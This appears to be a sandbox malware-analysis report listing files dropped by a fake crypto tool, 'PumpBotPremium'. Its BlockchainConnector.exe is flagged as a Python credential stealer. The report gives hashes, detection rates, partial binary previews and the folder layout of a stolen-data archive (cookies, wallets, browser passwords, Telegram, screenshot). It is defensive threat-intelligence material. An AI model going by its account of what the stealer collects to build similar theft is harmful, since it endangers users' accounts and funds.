                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s1qambow.qiw.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_taia5r2k.wpj.psm1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tzpwwpp3.yb1.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vtuhxin0.xow.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zbuebbkh.ghe.ps1

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                File Type:ASCII text, with no line terminators
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):60
                                                                                                                                                                                                                                                Entropy (8bit):4.038920595031593
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                                                                                                                                                                                                                MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                                                                                                                                                                                SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                                                                                                                                                                                SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                                                                                                                                                                                SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\user_95030.zip

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:Zip archive data, at least v2.0 to extract, compression method=store
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):339785
                                                                                                                                                                                                                                                Entropy (8bit):7.995596798893531
                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                SSDEEP:6144:1jD4SrSXDGJsA9EvBaPylyWD5k1lzRVU/fvmqUkmJTWpGK/bZoGENv+ClJRKRNnX:1ASraA9EvEqlnDO1lzRVU/fvmqLqqF/Z
                                                                                                                                                                                                                                                MD5:7BAB0849971CB5C4A9F3B9DDA1C1B65C
                                                                                                                                                                                                                                                SHA1:8F1CB148AA1BE787DC7AA52D9A19BC499C2E0567
                                                                                                                                                                                                                                                SHA-256:3CFBD54F4E882D9B7A6FE6C736B271D7D1EA71239DD5A48E3A3D7A8AB56C2C06
                                                                                                                                                                                                                                                SHA-512:A02292A8070E7301970ABF08869844B7F70D6DC4617C6AA6AD363BC7CBAAF00F38DDB1C6CF158B27D284DAA8F8998E9F34CB783281B609F3232226BA5EBA3AEA
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:PK..........^Y................Autofills/PK..........^Y................Cookies/PK..........^Y................Files/PK..........^Y................Infos/PK..........^Y................Telegram/PK..........^Y................Wallets/PK..........^Y.e!....W.......Chrome_Default_PASS.txt....R..G.:@h.td&..G.!.:...........Sga.6...H.. ..f".+&b0`....i.w 9....@.........$.....1B.......Y.\....a....c..d..8...Z.z0...Y.i..X.....9.....)..9.H..."..<]..\....C\.}....0#=sC.R[.....PK..........^Y.e!....W.......Edge_Default_PASS.txt....R..G.:@h.td&..G.!.:...........Sga.6...H.. ..f".+&b0`....i.w 9....@.........$.....1B.......Y.\....a....c..d..8...Z.z0...Y.i..X.....9.....)..9.H..."..<]..\....C\.}....0#=sC.R[.....PK..........^Y..#.."...,......Screenshot.png.J@...PNG........IHDR.............1.c.....IDATx..{.]Eu7.]..9O.'..$.B.....VQA."A*.-..K[%.}.%.J/j....h.Z....U.R..&..%j.....D!.h .'!..g..X{.Y{...9.-.."..s..=.f...w.5..../\......D...R,].K...?&iR.e..b..b..........J...B".v..5U}.*?.P|....fSw.C

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):41556480
                                                                                                                                                                                                                                                Entropy (8bit):6.224867531040842
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:196608:bV94ZlVzjMD1qzKKIqyS40V9WLsv7kQWrr4aczVn1cHyiD:ZKvVUAzKc9WLsv78rbczV1cHy
                                                                                                                                                                                                                                                MD5:E2FCA92943AC7464998DB6DEC39BDDD7
                                                                                                                                                                                                                                                SHA1:16FF4951B888A7420B3CD55EB0F2FB97633BA76C
                                                                                                                                                                                                                                                SHA-256:196944F02ABCB5DE9D85A15373CB0B1019E954C2A91C959D5710805994ECC34F
                                                                                                                                                                                                                                                SHA-512:D4D1AFBAD54B01D7F4AE13CF4DA09CC0292A6F5202ECE41366D6F90B95725BB30D56B5188E2A09BFA1A50DB8D0037AEA01A723711C4A6887BCC038544036C475
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Yara Hits:
                                                                                                                                                                                                                                                • Rule: JoeSecurity_GenericPythonStealer, Description: Yara detected Generic Python Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe, Author: Joe Security
                                                                                                                                                                                                                                                • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\BlockchainConnector.exe, Author: Joe Security
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: Avira, Detection: 100%
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 25%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...6..e...............)......z.....%..........@.............................0......"H....`.................................................. ..H<........................... ..X...............................(...................8-...............................text...............................`..`.data... ...........................@....rdata...............t..............@..@.eh_fram.............\..............@....pdata...............^..............@..@.xdata.......P......................@..@.bss.........p...........................idata..H<... ...>...,..............@....CRT....`....`.......j..............@....tls.........p.......l..............@....rsrc................n..............@..@.reloc..X.... ........z.............@..B................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_Salsa20.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):13824
                                                                                                                                                                                                                                                Entropy (8bit):5.043023051517476
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:SF/1nb2eqCQtkluknuz4ceS4QDuBA7cqgYvEP:o2P6luLtn4QDKmgYvEP
                                                                                                                                                                                                                                                MD5:E598D24941E68620AEF43723B239E1C5
                                                                                                                                                                                                                                                SHA1:FA3C711AA55A700E2D5421F5F73A50662A9CC443
                                                                                                                                                                                                                                                SHA-256:E63D4123D894B61E0242D53813307FA1FF3B7B60818827520F7FF20CABCD8904
                                                                                                                                                                                                                                                SHA-512:904E04FB28CFFA2890C0CB4F1169A7CC830224740F0DF3DA622AC2EB9B8F8BDBB4DE88836E40A0126BE0EB3E5131A8D8B5AAACD782D1C5875A2FBBC939F78D5B
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Joe Sandbox View:
                                                                                                                                                                                                                                                • Filename: msupdate.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: msupdate.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: win6.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.Win64.DropperX-gen.9519.23032.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.Win64.DropperX-gen.9519.23032.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: Wetransfer.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.FileRepMalware.10144.24483.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.W64.S-e4cd4610.Eldorado.25276.12705.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.Python.Agent-LZ.32136.12177.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.Python.Agent-LZ.23397.22787.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.EY.p+..p+..p+......p+.A.*..p+.E.*..p+..p*.+p+.A....p+.A./..p+.A.(..p+...#..p+...+..p+......p+...)..p+.Rich.p+.........PE..d....Ded.........." ..."............P.....................................................`..........................................8.......9..d....`.......P..L............p..,....3...............................1..@............0...............................text...h........................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..L....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_aes.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):36352
                                                                                                                                                                                                                                                Entropy (8bit):6.5538426720189396
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:3f+7nYpPMedFDlDchrVX1mEVmT9ZgkoD/PKDkGuF0U390QOo8VdbKBWmuvLg4HPy:PqWB7YJlmLJ3oD/S4j990th9VvsC
                                                                                                                                                                                                                                                MD5:ABBE9B2424566E107CB05D0DDA0AA636
                                                                                                                                                                                                                                                SHA1:C75E54FEB76CF8BEB7B6818840B11CE649FBCAA8
                                                                                                                                                                                                                                                SHA-256:C438DD66FA669430CCE11B2ACB7DC0EE72B7953B07013FDA6BF6B803C2C961F9
                                                                                                                                                                                                                                                SHA-512:743C48D380BF5F03ECED639D35A5500CACD170942450415C3E822BFE368D90F75339CC64AC58766858FC7250618DEE699705AAC12B3C3657951528CDD32C8C1C
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Joe Sandbox View:
                                                                                                                                                                                                                                                • Filename: msupdate.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: msupdate.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: win6.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.Win64.DropperX-gen.9519.23032.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.Win64.DropperX-gen.9519.23032.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: Wetransfer.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.FileRepMalware.10144.24483.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.W64.S-e4cd4610.Eldorado.25276.12705.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.Python.Agent-LZ.32136.12177.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                • Filename: SecuriteInfo.com.Python.Agent-LZ.23397.22787.exe, Detection: malicious, Browse
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.&...H...H...H.......H.I.I...H.M.I...H...I.#.H.I.M...H.I.L...H.I.K...H..@...H..H...H......H..J...H.Rich..H.................PE..d....Ded.........." ...".H...H......P.....................................................`.................................................,...d...............................4... ...................................@............`...............................text....F.......H.................. ..`.rdata..d6...`...8...L..............@..@.data...8...........................@....pdata..............................@..@.rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_aesni.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):15872
                                                                                                                                                                                                                                                Entropy (8bit):5.285321423775064
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:wJBjJPqZkEPYinXKccxrEWx4xLquhS3WQ67EIfD4d1ccqgwYUMvEW:iURwin7mrEYCLEGd7/fDawgwYUMvE
                                                                                                                                                                                                                                                MD5:DD3143D155A6D8A1C9F12CAE6E86484A
                                                                                                                                                                                                                                                SHA1:271FA34F16F727A73D552B04BDE8BDA8786A81F7
                                                                                                                                                                                                                                                SHA-256:90ED3206CA3D7248B5152B500A9D48BD55E1D178AED26214CE351090342260D1
                                                                                                                                                                                                                                                SHA-512:9DAEF75B99996F1C9A22E7C2339259AE955716DD5CC3ECC1D46BA8E28289843BF32AD0E498EF5969F35B1580C6B3434859B6CB940A0857D5C3598979686646EB
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.eX.p...p...p.......p..A....p..E....p...p..&p..A....p..A....p..A....p.......p.......p.......p.......p..Rich.p..................PE..d....Ded.........." ...". ... ......P.....................................................`..........................................9......D:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............ .................. ..`.rdata.......0.......$..............@..@.data...(....@.......4..............@....pdata.......P.......6..............@..@.rsrc........`.......:..............@..@.reloc..,....p.......<..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_cbc.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):12288
                                                                                                                                                                                                                                                Entropy (8bit):4.737934511632203
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:8F/1nb2eqCQtkrKnlPI12D00acqgYvEn:W2P6KlPe2DIgYvEn
                                                                                                                                                                                                                                                MD5:FF2C1C4A7AE46C12EB3963F508DAD30F
                                                                                                                                                                                                                                                SHA1:4D759C143F78A4FE1576238587230ACDF68D9C8C
                                                                                                                                                                                                                                                SHA-256:73CF4155DF136DB24C2240E8DB0C76BEDCBB721E910558512D6008ADAF7EED50
                                                                                                                                                                                                                                                SHA-512:453EF9EED028AE172D4B76B25279AD56F59291BE19EB918DE40DB703EC31CDDF60DCE2E40003DFD1EA20EC37E03DF9EF049F0A004486CC23DB8C5A6B6A860E7B
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.EY.p+..p+..p+......p+.A.*..p+.E.*..p+..p*.+p+.A....p+.A./..p+.A.(..p+...#..p+...+..p+......p+...)..p+.Rich.p+.........PE..d....Ded.........." ..."............P.....................................................`..........................................8.......9..d....`.......P..X............p..,....2...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......&..............@....pdata..X....P.......(..............@..@.rsrc........`.......,..............@..@.reloc..,....p......................@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_cfb.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):13824
                                                                                                                                                                                                                                                Entropy (8bit):4.896113420654944
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:kzRgPfqLlvIOP3bdS2hkPUDkjoCM/vPXcqgzQkvEmO:kUYgAdDkUDlCWpgzQkvE
                                                                                                                                                                                                                                                MD5:FE489576D8950611C13E6CD1D682BC3D
                                                                                                                                                                                                                                                SHA1:2411D99230EF47D9E2E10E97BDEA9C08A74F19AF
                                                                                                                                                                                                                                                SHA-256:BB79A502ECA26D3418B49A47050FB4015FDB24BEE97CE56CDD070D0FCEB96CCD
                                                                                                                                                                                                                                                SHA-512:0F605A1331624D3E99CFDC04B60948308E834AA784C5B7169986EEFBCE4791FAA148325C1F1A09624C1A1340E0E8CF82647780FFE7B3E201FDC2B60BCFD05E09
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B................;.....I.......M...........!...I.......I.......I......................W............Rich....................PE..d....Ded.........." ..."..... ......P.....................................................`..........................................9.......9..d....`.......P..d............p..,....3...............................1..@............0...............................text............................... ..`.rdata.......0......................@..@.data...8....@.......,..............@....pdata..d....P......................@..@.rsrc........`.......2..............@..@.reloc..,....p.......4..............@..B................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ctr.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):14848
                                                                                                                                                                                                                                                Entropy (8bit):5.296941042514949
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:192:dJ1gSPqgKkwv0i8NSixSK57NEEE/qexcEtDrnDjRcqgUF6+6vEX:dE1si8NSixS0CqebtDfrgUUjvE
                                                                                                                                                                                                                                                MD5:A33AC93007AB673CB2780074D30F03BD
                                                                                                                                                                                                                                                SHA1:B79FCF833634E6802A92359D38FBDCF6D49D42B0
                                                                                                                                                                                                                                                SHA-256:4452CF380A07919B87F39BC60768BCC4187B6910B24869DBD066F2149E04DE47
                                                                                                                                                                                                                                                SHA-512:5D8BDCA2432CDC5A76A3115AF938CC76CF1F376B070A7FD1BCBF58A7848D4F56604C5C14036012027C33CC45F71D5430B5ABBFBB2D4ADAF5C115DDBD1603AB86
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......B.F...(...(...(.......(.I.)...(.M.)...(...)...(.I.-...(.I.,...(.I.+...(.. ...(..(...(......(..*...(.Rich..(.........................PE..d....Ded.........." ..."..... ......P.....................................................`..........................................9......x:..d....`.......P...............p..,....3...............................1..@............0.. ............................text............................... ..`.rdata.......0....... ..............@..@.data........@.......0..............@....pdata.......P.......2..............@..@.rsrc........`.......6..............@..@.reloc..,....p.......8..............@..B........................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_ecb.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):10752
                                                                                                                                                                                                                                                Entropy (8bit):4.58491776551014
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:96:zK0KVVdJvbrqTuy/Th/Y0IluLfcC75JiCKs89EpmFWLOXDwoPPj16XkcX6gbW6z:z2VddiTHThQTctEEI4qXD/1CkcqgbW6
                                                                                                                                                                                                                                                MD5:821AAA9A74B4CCB1F75BD38B13B76566
                                                                                                                                                                                                                                                SHA1:907C8EE16F3A0C6E44DF120460A7C675EB36F1DD
                                                                                                                                                                                                                                                SHA-256:614B4F9A02D0191C3994205AC2C58571C0AF9B71853BE47FCF3CB3F9BC1D7F54
                                                                                                                                                                                                                                                SHA-512:9D2EF8F1A2D3A7374FF0CDB38D4A93B06D1DB4219BAE06D57A075EE3DFF5F7D6F890084DD51A972AC7572008F73FDE7F5152CE5844D1A19569E5A9A439C4532B
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6)..WG.WG.WG./..WG..+F.WG../F.WG.WF.WG..+B.WG..+C.WG..+D.WG.R+O.WG.R+G.WG.R+..WG.R+E.WG.Rich.WG.........PE..d....Ded.........." ..."............P........................................p............`.........................................p'......((..P....P.......@...............`..,...."...............................!..@............ ...............................text............................... ..`.rdata....... ......................@..@.data...8....0......."..............@....pdata.......@.......$..............@..@.rsrc........P.......&..............@..@.reloc..,....`.......(..............@..B........................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_eksblowfish.pyd

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\BlockchainConnector\BlockchainConnector.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):22016
                                                                                                                                                                                                                                                Entropy (8bit):6.13818726721959
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:384:IU/5cRUtPMbNv37t6KjjNrDF6pJgLa0Mp8Qk0gYP2lcCM:hKR8EbxwKflDFQgLa1kzP
                                                                                                                                                                                                                                                MD5:5076E232DD9A710EF253FCA53AF636B9
                                                                                                                                                                                                                                                SHA1:3D15B947387FEC1ADF10EC5A3CD643C070439332
                                                                                                                                                                                                                                                SHA-256:7BBCD258404E3458DE31AB3664AAF642F19864D3E0A82B028DC79771B4F16EA6
                                                                                                                                                                                                                                                SHA-512:78AA9D0BB15F27C55CDF55B305A9ADE39BCBD4BD6EF6D833E9768C58142495BA358D6E1F51E2979C1895D7C0AF2EA9B880202F53C75203DFEFCA40D21E0B1DDC
                                                                                                                                                                                                                                                Malicious:true
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
